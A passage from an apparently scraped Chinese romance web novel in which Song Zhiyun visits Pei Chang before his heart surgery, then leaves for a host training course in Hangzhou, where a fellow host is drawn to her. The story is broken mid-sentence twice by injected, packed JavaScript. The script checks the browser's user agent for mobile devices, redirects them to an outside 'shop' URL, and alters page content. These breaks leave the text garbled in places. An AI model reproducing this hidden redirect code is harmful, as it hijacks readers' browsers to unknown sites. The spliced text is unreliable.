“心脏。”裴昕玥的声音低下去,“他之前车祸留下了点后遗症,这几年一直在用药控制,最近情况不太稳定,医生说最好尽快手术。” 宋知蕴放下勺子,粥碗里的热气还在往上冒,她却觉得指尖冰凉。 裴昕玥见她担心的模样,连忙安慰:“嫂子你别担心,我哥找的是国内最好的心外科专家。虽然手术风险比较高,但医生说他们会尽全力的。我哥他估计是怕你担心,才没跟你说。” 宋知蕴勉强笑了笑:“我知道。”她拿起勺子,一口一口把剩下的粥喝完,放下碗,看向对面的裴昕玥:“含章,谢谢你。我等会儿去医院看他。” “好。”裴昕玥点点头,没有拦她。 宋知蕴正想起身收拾碗筷,手机突然响了。 屏幕上显示的是台里的号码。 她接起来,那头是制片主任老周的声音:“知蕴,现在方便说话吗?” “周主任,您说。” “是这样,台里刚刚接到通知,有一个全国主持人业务研修班,今天下午就要报到。地点在杭州,全脱产封闭式培训,时长两周。台里经过讨论,决定选派你去参加。” 宋知蕴愣了一下:“今天下午?” “对,机票已经订好了,下午三点从京市起飞。这次培训机会很难得,是广电总局主办的,全国只有六十个名额,咱们台就分到一个。培训结束会有结业证书,对以后的栏目竞聘是加分项。”老周顿了顿,“我知道很突然,但这个机会实在难得,不去可惜了。” 宋知蕴握着手机,脑子里飞速转着。 裴昶明天手术,术后还需要很长时间恢复…… “周主任,我能不能……” “知蕴。”老周感受到她的犹豫,语气变得郑重起来,“你好好考虑一下,最迟中午之前给我答复。” 电话挂断后,宋知蕴坐在椅子上没动。 裴昕玥见她脸色不太好看,小心翼翼地问:“嫂子,怎么了?” “台里让我去参加一个培训,今天下午就走,要去两周。” 裴昕玥张了张嘴,想说点什么,但最终都咽了回去。 宋知蕴在心里衡量了许久,总算下定了决心。 “我先回去收拾行李,然后去医院看他。” 她站起身,拿起包,对裴昕玥说:“含章,谢谢你今天的早饭。” “嫂子,你别跟我客气。”裴昕玥也跟着站起来,“我哥那边你别太担心,他肯定不希望你因为他耽误工作。” 宋知蕴点点头,转身走出了餐厅。 宋知蕴到家时,徐穗宁正好从对门出来。 看见她拎着包风风火火地开门,愣了一下:“裴昶昨晚带你回的他家?” 徐穗宁跟在她身后进门,见她打开衣柜开始收拾行李,一脸茫然:“你这是干嘛?要出差?” 宋知蕴把情况简单说明了一遍,手上动作没有停下。 徐穗宁听完,靠在门框上看着她:“所以你打算去?” “嗯。”宋知蕴叹了口气,叠好两件衬衫放进行李箱,“不去的话,以后晋升评优都会有影响。这个培训两年才办一次,错过了就要再等两年。” “那裴昶那边……” 宋知蕴手上动作顿了一下,很快又继续:“我一会去医院看他。” “知蕴,你还好吧?”徐穗宁见她心情不好,想要安慰。 宋知蕴抬起头,冲她笑了笑:“没事。”那笑容落在徐穗宁眼里,怎么看怎么勉强。 “行了,别装了。”徐穗宁走过去,伸手拍了拍她的肩膀,“你该哭就哭,我又不会笑话你。” 宋知蕴垂下眼,睫毛颤了颤,最后还是没忍住,红了眼眶。“我就是觉得……”她声音有些哑,“好不容易才走到这一步,又要分开两周。他明天还要动手术,我连陪在他身边都做不到。” “他知道你要去培训吗?” “还没跟他说。” “那你一会跟他好好聊聊。”徐穗宁揽住她的肩膀,“裴昶不是那种不讲道理的人,他肯定能理解。” 宋知蕴吸了吸鼻子,点点头, 她看了看时间,已经快十一点了。 “我得走了,看完他还得赶去机场。” “我给你叫个车。行李箱先放我这儿,等你上车我给你送下去。”徐穗宁说。 宋知蕴到医院的时候,已经将近中午十二点。 她按照裴昕玥发来的病房号找到位置,抬手敲了敲门。 “请进。” 她推门进去,看见裴昶半靠在病床上。 他穿着蓝白条纹的病号服,脸色比昨晚好了许多。 裴昶看见来的人是她,微微调整了坐姿:“怎么过来了?不是说今天休息吗?” 宋知蕴走到床边,声音不大不小地说:“你明天要动手术,怎么不告诉我?” 裴昶沉默了几秒,偏过头看她:“谁跟你说的?含章?” “你别怪她。”宋知蕴在床边的椅子上坐下,“如果不是她告诉我,你是不是打算等做完手术再跟我说?” 裴昶没有否认,只是伸手握住了她的手:“不是什么要命的大手术,我不想让你担心。” 宋知蕴看着他,“裴明彻,你这样要我怎么能放心?” 裴昶被她问得哑口无言,叹了口气:“芝芝……” “我问过含章了,”宋知蕴打断他,“她说你的心脏问题一直没彻底好,这次是因为情况不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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裴昶看着她,叹了口气:“芝芝,你再不走,我真的要亲自送你去机场了。” 宋知蕴这才站起身,依依不舍地松开他的手。 “裴昶。” “嗯。” 她弯下腰,轻轻抱住了他。 裴昶愣了下,随即抬手环住她的腰,下巴抵在她肩头。宋知蕴把脸埋在他颈窝里,“等我回来。” “好,等你。” 她松开手,直起身,低头看着他的脸。 裴昶也望着她,目光缱绻而温柔。 他抬起没扎针的那只手,轻轻揽住她的后颈,在她额头上落下一个很轻很轻的吻。 “去吧。”他松开手,“到了给我发消息。” 宋知蕴嘴角弯了弯,伸手摸了摸被他亲过的额头。“你好好休息,不准乱跑。” “好。” 得到裴昶的回答,宋知蕴深吸一口气,终于转身往门口走。才走了两步又停下来,依依不舍地回头看他。 病床的位置正好逆着光,她看不太清裴昶脸上的表情,但能感觉到他在笑。 “路上注意安全。”他说。 宋知蕴用力点了点头,拉开门走了出去。 走廊很长,她的脚步声在空旷的空间里回荡。 电梯门关上的瞬间,手机震了一下。 她低头看,是裴昶发来的消息。 「这是苏衡的电话。到了记得和我报平安。」 「好。」 电梯很快到了一楼,宋知蕴把手机收进包里,往路边走去。她叫的车已经等在门口,行李箱也被妥帖地放进了后备箱。 她坐上车,报了手机尾号。 车子驶上高速的时候,她百无聊赖,偏头看向窗外一栋栋往后退的建筑,心中想着:两周应该过得很快。 手机又震了一下,这次是裴昕玥发来的。 「嫂子,你就安心去培训,这边有我呢。」 宋知蕴打字回复:「好。手术结束,麻烦你们第一时间告诉我。」 「好!保证第一时间向嫂子汇报!」 19. “宋老师确实是我喜欢的类型。”…… 飞机平稳降落在杭州萧山机场。 透过舷窗,细密的雨丝正飘落着。走出舱门时,湿润的风裹着江南特有的温润气息扑面而来。 宋知蕴关了手机的飞行模式,微信瞬间涌进来几条消息。 裴昶:「到了吗?」 裴昕玥:「嫂子一路平安~到了说一声!」 徐穗宁的消息更夸张,连着四五条,从“到了没”、“记得吃饭”,再到“记得想我。” 宋知蕴嘴角弯了弯,先给裴昶回了句「刚落地」,又给裴昕玥和徐穗宁各发了一条报平安,这才关了屏幕,跟着人流往出口走。 宋知蕴拖着行李箱来到到达口时,接机处乌泱泱站满了人。 她扫了一眼,便看见人群外举着“全国主持人业务研修班”接站牌的工作人员,红底白字的牌子十分醒目。 宋知蕴快步走过去,工作人员立刻热情迎上来:“请问是宋知蕴老师吗?我是研修班的对接工作人员。这边请,专车已经在外面等候了。” “麻烦你了。”宋知蕴微微颔首,语气温和。 车子很快驶出机场,上了高速。 宋知蕴靠在座椅上,看向窗外飞速掠过的景色。 杭州的冬天比京市湿润,路边的香樟树还是绿的,空气里浮着一层薄薄的水雾。 她拿出手机,拍了张窗外的风景发给裴昶:「到杭州了,正在去培训地点的路上。」 裴昶回得很快:「那边冷不冷?」 「还好,比京市暖和一点。」 「那就好。到了先吃饭,别饿着。」 宋知蕴正想回复,屏幕又震了一下。 「我这边一切都好,不用担心。」 宋知蕴回了句「好,你也是」,把手机收进了包里。 培训基地设在城郊,白墙黛瓦,绿树成荫,处处透着江南园林的雅致。 工作人员将她带到住宿区,递过房卡和一叠资料:“宋老师,您的房间在302。您先上楼收拾行李,一会儿可以到一楼食堂用餐。晚上七点半在一楼多功能厅举行开班见面会,请您准时参加。” “好的,谢谢你。” 宋知蕴刷卡走进房间,屋内收拾得很干净,靠窗的位置摆着书桌和椅子,桌上放着一份培训手册。 她打开行李箱,简单把衣物挂进衣柜,又将常用的护肤品摆到梳妆台上。 宋知蕴在床边坐了一会儿,翻了翻桌上的培训手册。 这次培训的日程排得很满:每天早上八点半开始上课,中午休息一个半小时,下午继续到五点,晚上偶尔还有交流活动。 她看了眼时间,距离晚上的见面会还有两个小时。 宋知蕴打开手机微信时,发现自己被拉进了一个名叫“全国主持人业务研修班(第三期)”的微信群。 她点进去,群里已经有二十来号人,此时消息刷得飞快。 有人率先发:「老师们好!我是XX台的XXX,请多关照。」 底下立刻有另外几位接起了龙。 宋知蕴没有在群里发言,看了置顶的群公告就退出群聊,点开和裴昶的聊天框。 「到房间了,培训日程排得挺满的。」她拍了张日程表的照片发过去。 过了几秒,裴昶回了句:「嗯,确实挺满的。晚上七点半有见面会?」 「那先去吃饭,别迟到。」 宋知蕴失笑:「你怎么跟家长一样,催我吃饭催我别迟到?」 「嗯,这么说来是差得有点多。」 她盯着裴昶的消息看了好一会儿,打了几个字又删掉,最后发了个小女孩开心的表情包。 结束聊天后,宋知蕴拿起餐卡下楼用餐。 食堂是自助餐的形式,菜品丰富,口味清淡适中。她简单打了几道菜,快速解决了晚餐。 回到房间,宋知蕴换上一件得体的米白色针织连衣裙,整了整发型,提前二十分钟前往多功能厅。 此时厅内还没多少人,LED大屏幕上显示着“全国主持人业务研修班开班见面会”的字样。 宋知蕴扫视了一圈,正准备找个位置坐下,身后突然传来一道熟悉的呼喊。 “知蕴!” 她转过头,看见一个扎着马尾的女人快步朝自己走来,脸上挂着大大的笑容。 “姚瑶?”宋知蕴愣了一下,随即也笑了,“你怎么也来了?” 姚瑶是她大学时的室友,两人关系一直很好,只是毕业后各自忙碌,见面并不多。 “台里派我来的啊,”姚瑶走到她面前,上下打量了一番,“你怎么还是这么好看?过分了啊。” 宋知蕴被她逗笑了:“你也不差啊,气色这么好。” “得了吧,我这几天熬夜赶片子,黑眼圈都快掉到下巴了。”姚瑶挽住她的胳膊,“走走走,咱俩坐一块儿,好久没见了,得好好聊聊。” 两人找了个中间偏前的位置坐下。姚瑶把包放在旁边的椅子上,正要开口说什么,转头看到门口进来的人,突然热情地招了招手。 “书让!这边!” 宋知蕴顺着她的目光看过去,一个年轻男人正朝她们走来。 他穿着深灰色的休闲西装,五官轮廓分明,眉眼间带着几分温和的笑意。 宋知蕴认出了他——水果台的当红主持人景书让。 景书让微博粉丝量不小,因为颜值高收获了很多年轻人的喜欢。宋知蕴看过几期他主持的节目,台风稳健,口条流畅,在年轻主持人里算是十分出色。 “知蕴,这是水果台的景书让。”姚瑶热情地介绍,“书让,这是虹台的宋知蕴,我大学室友。” “宋老师好,久仰。”景书让伸出手,声音清润,带着恰到好处的礼貌。 宋知蕴起身,跟他握了握手:“景老师好,我也看过您的节目,主持得特别棒。” “宋老师客气了,叫我书让就行。”他笑了笑,在姚瑶旁边的位置坐下,“瑶瑶说你们大学住一个宿舍?” “对。”姚瑶抢着答,“我们宿舍关系可好了,不像你们男生,住四年连室友叫什么都记不住。” 景书让无奈地笑了笑:“那是个别现象,不能以偏概全。” 宋知蕴看着两人自然的互动,问:“你们之前就认识?” “搭档过几次活动,后来就熟了。书让人挺好的,专业能力也强,我们台里不少女主持人都抢着想做他搭档。” “你能不能别在宋老师面前揭我老底?” 宋知蕴被他俩逗笑了,三人间的气氛一下子轻松了许多。 临近开场,参加培训的主持人们陆陆续续到齐了。 宋知蕴看了看周围坐满的人。虽然都没有合作过,但大部分都是她熟悉的面孔。 七点二十五分,带队老师和台里的领导陆续到场。 走在最前面的是一个五十多岁的中年男人,戴着黑框眼镜,面色严肃。 “各位老师,请安静一下。”工作人员拿着话筒试了试音,确认没问题后才继续往下说,“欢迎各位来到第三期全国主持人业务研修班。我是这次培训的带班老师,姓刘,大家叫我刘老师就行。” 他顿了顿,继续说:“首先介绍一下今天到场的领导……” 领导名单很长,从总局到省台,都是些了不起的人物。 领导介绍完毕,刘老师又详细说明了培训期间的纪律和日程安排。 每天早上八点二十前签到,八点半准时上课,迟到早退会被记录在案。培训期间不得擅自离队,如有特殊情况需要请假,必须提前提交书面申请。 “这次的培训含金量很高,总局非常重视,”刘老师扶了推眼镜,“在座的各位都是各台选派来的优秀人才,希望大家珍惜这次机会,认真对待每一堂课。” 台下响起一阵掌声。 刘老师看了看表,继续说:“接下来是自我介绍环节。从第一排开始,每人一分钟左右。” 轮到景书让时,他起身不紧不慢地开口:“各位老师好,我是水果台的景书让,从业五年,目前主要做综艺和晚会主持。这次来培训主要是想多学点东西,请各位前辈们多多关照。” 姚瑶凑到宋知蕴耳边,压低声音:“你看,他是不是挺会说话的?” 宋知蕴笑着点了点头,没接话。 接着轮到姚瑶,她利落地站起来介绍了自己。 等姚瑶说完坐下,宋知蕴起身开始自我介绍:“各位老师好,我是虹台的宋知蕴,从业四年,目前是《碰面》栏目的主持人和参导。很高兴能参加这次培训,希望接下来两周能和各位多多交流,共同进步。” 她坐下时,注意到景书让正在看她,他似乎注意到了宋知蕴的目光很快转移了视线。 自我介绍环节持续了将近半个小时。等所有人介绍完毕后,刘老师补充了几句注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482911|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事项,最后说:“今天的见面会就到这里,大家回去早点休息。走之前上台来,大家一起合张影。” 工作人员指挥大家站好位置,待摄影师按下快门后,见面会才算正式结束。 人群渐渐散去,宋知蕴和姚瑶并排走出多功能厅。 “好久没见了,聊会儿?”姚瑶挽住她的胳膊,“反正明天才正式上课。” 宋知蕴看了看时间,八点五十,不算太晚:“行,去我房间还是你房间?” “去我那儿吧,我带了些零食,边吃边聊。” 姚瑶的房间在二楼,格局和宋知蕴的房间差不多。 进门后她把包扔在床上,从行李箱里翻出几袋零食和两瓶饮料。 “坐。”她拍了拍床沿,自己先坐下了。 宋知蕴在她旁边落座,接过饮料拧开喝了一口。 姚瑶拆开一袋薯片,往嘴里塞了一片:“穗宁跟我说了。” 宋知蕴愣了一下:“说什么了?” “你和你前男友的事。”她把薯片往宋知蕴那边递了递,“她说你们好像要复合了?而且那个男的居然是裴昶?屹恒的那个裴昶?” 宋知蕴有些惊讶,没想到徐穗宁这么快就把自己卖了:“她什么时候跟你说的?” “就前几天。”姚瑶掏出手机,翻出聊天记录给她看,“你看,她发了一长串语音,我听完差点没把手机扔出去。” 宋知蕴看了眼聊天界面,徐穗宁的头像旁边果然有一长串语音条。 “所以到底是不是真的?”姚瑶放下薯片,正色看她,“你真的要跟他复合了?” 宋知蕴沉默了几秒,轻轻点了点头:“算是吧。” “什么叫‘算是’?到底在没在一起嘛。”姚瑶有些懵了。 宋知蕴被她这副模样逗笑了,慢慢把这段时间发生的事说了一遍。 “我的天,姐妹。当时劝你忘了他的我简直是大错特错。那可是裴昶啊,你居然五年前就已经把人拿下了。” “现在还没正式在一起呢。” “那不是迟早的事?”姚瑶眨了眨眼。 两人又聊了一会儿,从工作聊到生活和八卦。 十点二十,宋知蕴看了看手表。 发现时间不早以后,她起身对姚瑶说:“我先回去了,明天还要早起。” “行。”姚瑶送她到门口,“明天早上一起吃早饭?” “好,七点半,食堂见。” 送走宋知蕴后,姚瑶才顾上打开手机。 此时微信里攒了一堆消息。 她大概翻了翻,最新的几条是景书让发来的: 「瑶瑶,问个事。」 「你是不是和宋知蕴关系不错?」 姚瑶看着这几条消息,挑了挑眉。 她靠在枕头上打字:「怎么了?」 景书让回得很快:「没什么,就是随便问问。」 姚瑶盯着这句没头没尾的话,心里隐隐有了猜测,噼里啪啦敲了一行字:「书让同学,你该不会是一见钟情了吧?铁树开花了?」 对面沉默了几秒,才接着发来一条:「说实话,宋老师确实是我喜欢的类型。」 姚瑶看到这条消息,差点没从床上弹起来。 她坐直身子,飞快地打字:「那你可能要失恋了,而且是刚准备恋就失的那种。」 对面发来一串问号:「???什么意思?」 姚瑶斟酌了一下措辞,打字:「她有喜欢的人。而且那人各方面条件,我只能说是顶级。」 景书让没忍住又问:「你消息准不准确啊?是同行还是圈外的?」 「圈外的,而且是很厉害的人物。我跟你说,你趁早死心,别白费力气了。」 「有这么夸张吗?什么大佬啊,一点机会都没有?」 「不是夸张,是真的没机会。」 姚瑶发了个黄金大拇指的表情包,又道:「那人就连颜值都是这个。」 景书让发了个捂脸的表情:「真有这种人?」 姚瑶回:「真的有。你以后要是知道了,别怪我没提醒你。」 景书让又发了一条:「那她现在和那个人在一起了?」 姚瑶想了想宋知蕴刚才说的话,打字:「不太确定,但应该是早晚的事。」 景书让没有再回复。 姚瑶等了一会儿,看他没有动静,也放下了手机。